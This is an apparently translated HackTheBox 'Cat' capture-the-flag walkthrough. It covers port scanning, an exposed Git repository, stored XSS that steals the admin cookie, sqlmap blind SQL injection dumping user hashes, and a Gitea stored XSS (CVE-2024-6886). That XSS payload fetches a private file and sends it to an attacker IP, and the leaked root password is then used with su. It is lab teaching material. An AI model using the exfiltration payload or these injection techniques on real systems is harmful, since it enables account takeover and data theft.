HackTheBox Cat
HackTheBox Cat
HackTheBox Cat
In an average Linux machine from the Vice season, we dump the source code of the application,
find the possibility of XSS and SQL-Injection in it, and get initial access to the system. In the logs,
we find the user password and increase our account. In the end, we use a vulnerability in Gitea —
we spin up LFI via XSS and read an important file, in which we find the password for the root user.
Intelligence
Of course, let's scan the ports using rustscan :
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.
The ports are typical for HTB Linux machines, so we just add the domain to /etc/hosts :
Searching for interesting directories via gobuster finds us a Git repository on the server:
In the contest.php file we find an XSS opportunity - the username parameter from the session
is not validated and is sent to the database:
And then in the view_cat.php file we get this parameter and give it to the user:
Let's launch an HTTP server on our side and send our cat to the competition, attaching any valid
image:
And we catch the administrator cookie (if it doesn’t work, restart the machine or reboot the VPN,
the machine is unstable):
Let's replace our session cookie and see the admin panel:
And in the file accept_cat.php we will find a SQL injection, which we will use sqlmap on:
We set sqlmap with the required cat ID and its name, as well as with the session cookie, we also
specify the database type and find two blind SQL injections:
Now we dump the table with users via boolean-based blind SQL injection (if you get server errors,
then reduce the number of threads or restart the dump):
+---------+-------------------------------+----------------------------------+----
------+
| user_id | email | password |
username |
+---------+-------------------------------+----------------------------------+----
------+
| 1 | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f |
axel |
| 2 | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c |
rosa |
| 3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad |
robert |
| 4 | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe |
fabian |
| 5 | jerrysonC343@gmail.com | 781593e060f8d065cd7281c5ec5b4b86 |
jerryson |
| <blank> | larryP5668C????????? | <blank> |
<blank> |
| <blank> | <blank> | <blank> |
<blank> |
| <blank> | <blank> | <blank> |
<blank> |
| <blank> | <blank> | <blank> |
<blank> |
| <blank> | <blank> | <blank> |
<blank> |
| <blank> | <blank> | <blank> |
<blank> |
+---------+-------------------------------+----------------------------------+----
------+
Let's try to send MD5 hashes to crackstation and get the password of user rosa :
Let's try this password for SSH and get inside the system:
User
Let's look at other users in the system:
$ ls -la /home
total 24
drwxr-xr-x 6 root root 4096 Aug 30 23:19 .
file:///home/core/Downloads/HackTheBox Cat.html 17/25
2/2/25, 1:13 PM HackTheBox Cat
User flag
Privilege Escalation
We saw the user git , let's try to look at the network connections:
$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
Timer
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN
off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
off (0.00/0/0)
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
off (0.00/0/0)
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
off (0.00/0/0)
tcp 0 0 127.0.0.1:40543 0.0.0.0:* LISTEN
off (0.00/0/0)
tcp 0 0 127.0.0.1:59173 0.0.0.0:* LISTEN
off (0.00/0/0)
tcp 0 0 127.0.0.1:41189 0.0.0.0:* LISTEN
off (0.00/0/0)
tcp 0 0 127.0.0.1:34936 127.0.1.1:80 TIME_WAIT
timewait (38.70/0/0)
tcp 0 0 127.0.0.1:59124 127.0.1.1:80 TIME_WAIT
timewait (6.61/0/0)
tcp 0 0 127.0.0.1:33404 127.0.1.1:80 TIME_WAIT
timewait (28.00/0/0)
Ports 25 and 3000 are of interest. And when logging in as axel, we are told that we have mail:
$ cat /var/mail/axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care
website and other projects. Please send an email to jobert@localhost with
information about your Gitea repository. Jobert will check if it is a promising
service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can
understand it properly. I will review the whole repository.
to consult their assigned tasks. The project is still under development and is
hosted in our private Gitea. You can visit the repository at:
http://localhost:3000/administrator/Employee-management/. In addition, you can
consult the README file, highlighting updates and other important details, at:
http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
Let's direct ports 25 and 3000 to ourselves, while port 25 on the local machine will be available as
2525:
This version of Gitea has Stored XSS - CVE-2024-6886 . And here is an example of the exploit .
We need to create a repository and write XSS in the Description field. From the email we
remember that we want to extract the admin panel, and we are offered to read the README.md file
, but we will try to target the file http://localhost:3000/administrator/Employee-
management/raw/branch/main/index.php . Let's add the following payload:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-
management/raw/branch/main/index.php').then(response => response.text()).then(data
=> fetch('http://10.10.16.11:4243/?response=' +
encodeURIComponent(data))).catch(error => console.error('Error:', error));">XSS
test</a>
Let's send it to Description when creating a repository, don't forget to note the repository name:
Now let's send jobert a link to our repository (I had to send the link many times, and also
remember to double-check that the scheduler didn't destroy our repository):
Finally, we should catch the source code of the index.php file , in which the password is
hardcoded:
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
...
And we try to use this password for the root user via su :
$ su
IKw75eR0MR7CMIxhH0
Superuser flag